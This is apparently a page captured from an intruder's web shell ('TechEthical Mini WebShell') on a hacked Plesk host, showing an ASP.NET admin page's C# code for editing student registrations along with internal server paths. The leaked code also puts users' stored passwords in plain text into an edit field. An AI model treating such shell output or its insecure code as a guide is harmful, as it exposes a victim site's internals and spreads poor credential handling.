TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/admin/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/admin/EditFreeRegistration.aspx.cs

using Directory;
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace Bathuasoft.admin
{
    public partial class EditFreeRegistration : System.Web.UI.Page
    {
        public System.Data.DataTable dt = new System.Data.DataTable();
        public System.Data.SqlClient.SqlDataAdapter SqlAdapter = new SqlDataAdapter();
        public DataTable dtCourse = new DataTable();
        public DataTable dtEducation = new DataTable();
        public DataTable dtState = new DataTable();
        public DataTable dtDistrict = new DataTable();
        SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["conn_ConnectionString"].ConnectionString);
        string ID = "";
        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack)
            {
                DataTable dt = new DataTable();
                connection_sql obj = new connection_sql();
                obj.MakeConnection();
                dt = obj.getDataTable("select id, name from tbl_State order by name");
                cmbState.DataSource = dt;
                cmbState.DataTextField = "Name";
                cmbState.DataValueField = "ID";
                cmbState.DataBind();
                cmbState.Items.Insert(0, "");
                obj.CloseConnection();

                cmbDistrict.Items.Insert(0, new ListItem("--select--", "0"));
            }


            if (Request.QueryString["Reg"] != null && Request.QueryString["Reg"].ToString() != "")
            {
                if (!IsPostBack)

                {

                    DataTable dt = new DataTable();
                    connection_sql obj = new connection_sql();
                    obj.MakeConnection();
                    dt = obj.getDataTable("select name from tbl_Courses order by Name");
                    cmbCourse1.DataSource = dt;
                    cmbCourse1.DataTextField = "Name";
                    cmbCourse1.DataBind();
                    cmbCourse1.Items.Insert(0, "");

                    cmbCourse2.DataSource = dt;
                    cmbCourse2.DataTextField = "Name";
                    cmbCourse2.DataBind();
                    cmbCourse2.Items.Insert(0, "");

                    //dt = obj.getDataTable("select name from tbl_State order by name");
                    //cmbState.DataSource = dt;
                    //cmbState.DataTextField = "Name";
                    ////cmbState.DataValueField = "ID";
                    //cmbState.DataBind();
                    //cmbState.Items.Insert(0, "");

                    //dt = obj.getDataTable("select id, name from tbl_State order by name");
                    //cmbState.DataSource = dt;
                    //cmbState.DataTextField = "Name";
                    //cmbState.DataValueField = "ID";
                    //cmbState.DataBind();
                    // cmbState.Items.Insert(0, "");


                    //dt = obj.getDataTable("select name from tbl_District order by name");
                    //cmbDistrict.DataSource = dt;
                    //cmbDistrict.DataTextField = "Name";
                    ////cmbDistrict.DataValueField = "ID";
                    //cmbDistrict.DataBind();
                    //cmbDistrict.Items.Insert(0, "");


                    //dt = obj.getDataTable("select id,name from tbl_District order by name");
                    //cmbDistrict.DataSource = dt;
                    //cmbDistrict.DataTextField = "Name";
                    //cmbDistrict.DataValueField = "ID";
                    //cmbDistrict.DataBind();
                    //cmbDistrict.Items.Insert(0, "");


                    dt = obj.getDataTable("select name from tbl_Education order by Name");
                    cmbEducation.DataSource = dt;
                    cmbEducation.DataTextField = "Name";
                    cmbEducation.DataBind();
                    cmbEducation.Items.Insert(0, "");
                    obj.CloseConnection();

                    Session["ID"] = Request.QueryString["Reg"].ToString();
                    LoadOnEdit();
                }
            }

        }


        protected void cmbState_SelectedIndexChanged1(object sender, EventArgs e)
        {
            fillDestrict(cmbDistrict.SelectedValue);
        }

        public void fillDestrict(string state_id)
        { 
           
                connection_sql obj = new connection_sql();
                obj.MakeConnection();
                DataTable dt = new DataTable();
                dt = obj.getDataTable("select id, name from tbl_District order by name");
                cmbDistrict.DataSource = dt;
                cmbDistrict.DataTextField = "Name";
                cmbDistrict.DataValueField = "ID";
                cmbDistrict.DataBind();
                cmbDistrict.Items.Insert(0, "");
                obj.CloseConnection();
            
        }



        protected void cmbEducation_SelectedIndexChanged(object sender, EventArgs e)
        {

        }

        protected void butUpdate_Click(object sender, EventArgs e)
        {
            con.Open();
            SqlCommand cmd = new SqlCommand("SP_Registration1", con);
            cmd.CommandType = CommandType.StoredProcedure;
            cmd.Parameters.AddWithValue("@ID", Session["ID"]);
            cmd.Parameters.AddWithValue("@Course1", cmbCourse1.Text);
            cmd.Parameters.AddWithValue("@Course2", cmbCourse2.Text);
            cmd.Parameters.AddWithValue("@Batch", txtBatch.Text);
            cmd.Parameters.AddWithValue("@Name", txtName.Text);
            cmd.Parameters.AddWithValue("@Gender", cmbGender.Text);
            cmd.Parameters.AddWithValue("@Mobile1", txtMobile1.Text);
            cmd.Parameters.AddWithValue("@Mobile2", txtMobile2.Text);
            cmd.Parameters.AddWithValue("@Email", txtEmailID.Text);
            cmd.Parameters.AddWithValue("@States", cmbState.SelectedItem.Text);
            cmd.Parameters.AddWithValue("@District", cmbDistrict.SelectedItem.Text);
            cmd.Parameters.AddWithValue("@Locality", txtLocality.Text);
            cmd.Parameters.AddWithValue("@OurStudent", cmbOurStudents.Text);
            cmd.Parameters.AddWithValue("@RollNo", txtRollNo.Text);
            cmd.Parameters.AddWithValue("@CourseYear", txtCourseYear.Text);
            cmd.Parameters.AddWithValue("@Education", cmbEducation.Text);
            cmd.Parameters.AddWithValue("@Remark", txtRemark.Text);
            cmd.Parameters.AddWithValue("@Password", txtPassword.Text);
            //cmd.Parameters.AddWithValue("@AutoDate", DateTime.Now);

            cmd.Parameters.AddWithValue("@VerifiedMobile", cmbVerifiedMobile.Text.Trim());
            cmd.Parameters.AddWithValue("@BlackList", cmbBlackList.Text);
            cmd.Parameters.AddWithValue("@OnlineTest", cmbOnlineTest.Text);
            cmd.Parameters.AddWithValue("@OnlineNotes", cmbOnlineNotes.Text);
            cmd.Parameters.AddWithValue("@OnlineVideo", cmbOnlineVideo.Text);
            cmd.Parameters.AddWithValue("@OfflineTestResult", cmbOfflineTestResult.Text);
            cmd.Parameters.AddWithValue("@HomeTest", cmbHomeTest.Text);
            cmd.Parameters.AddWithValue("@CurrentAffairs", cmbCurrentAffairs.Text);
            cmd.Parameters.AddWithValue("@Status", cmbStatus.Text);
            cmd.ExecuteNonQuery();
            con.Close();
            lblmsg.BackColor = System.Drawing.Color.Blue;
            lblmsg.ForeColor = System.Drawing.Color.White;
            lblmsg.Text = "'" + txtName.Text + "'  Updated successfully........    ";

        }

        public void LoadOnEdit()
        {

            con.Open();
            SqlCommand cmd = new SqlCommand("usp_edit_registration", con);
            cmd.CommandType = CommandType.StoredProcedure;
            cmd.Parameters.AddWithValue("@ID", Session["ID"].ToString());
            SqlDataAdapter da = new SqlDataAdapter(cmd);
            DataSet ds = new DataSet();
            da.Fill(ds);
            con.Close();
            if (ds.Tables[0].Rows.Count > 0)
            {
                cmbCourse1.SelectedItem.Text = ds.Tables[0].Rows[0][1].ToString();
                cmbCourse2.SelectedItem.Text = ds.Tables[0].Rows[0][2].ToString();
                txtName.Text = ds.Tables[0].Rows[0][3].ToString();
                cmbGender.SelectedItem.Text = ds.Tables[0].Rows[0][4].ToString();
                txtMobile1.Text = ds.Tables[0].Rows[0][5].ToString();
                txtMobile2.Text = ds.Tables[0].Rows[0][6].ToString();
                txtEmailID.Text = ds.Tables[0].Rows[0][7].ToString().Trim();
                cmbState.SelectedItem.Text = ds.Tables[0].Rows[0][8].ToString().Trim();
                //cmbState_SelectedIndexChanged(sender, e);
                fillDestrict(cmbDistrict.SelectedValue);
                cmbDistrict.SelectedItem.Text = ds.Tables[0].Rows[0][9].ToString();
                txtLocality.Text = ds.Tables[0].Rows[0][10].ToString();
                cmbOurStudents.SelectedItem.Text = ds.Tables[0].Rows[0][11].ToString();
                txtRollNo.Text = ds.Tables[0].Rows[0][12].ToString();
                txtCourseYear.Text = ds.Tables[0].Rows[0][13].ToString();
                cmbEducation.SelectedItem.Text = ds.Tables[0].Rows[0][14].ToString();
                txtRemark.Text = ds.Tables[0].Rows[0][15].ToString();
                cmbVerifiedMobile.SelectedItem.Text = ds.Tables[0].Rows[0][16].ToString();
                txtPassword.Text = ds.Tables[0].Rows[0][17].ToString();
                cmbBlackList.SelectedItem.Text = ds.Tables[0].Rows[0][19].ToString();
                cmbOnlineTest.SelectedItem.Text = ds.Tables[0].Rows[0][20].ToString();
                cmbOnlineVideo.SelectedItem.Text = ds.Tables[0].Rows[0][21].ToString();
                cmbOnlineNotes.SelectedItem.Text = ds.Tables[0].Rows[0][22].ToString();
                cmbOfflineTestResult.SelectedItem.Text = ds.Tables[0].Rows[0][23].ToString();
                cmbHomeTest.SelectedItem.Text = ds.Tables[0].Rows[0][24].ToString();
                cmbCurrentAffairs.SelectedItem.Text = ds.Tables[0].Rows[0][25].ToString();
                cmbStatus.SelectedItem.Text = ds.Tables[0].Rows[0][26].ToString();
                txtBatch.Text = ds.Tables[0].Rows[0][27].ToString();
  
            }
        }
    }

}

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3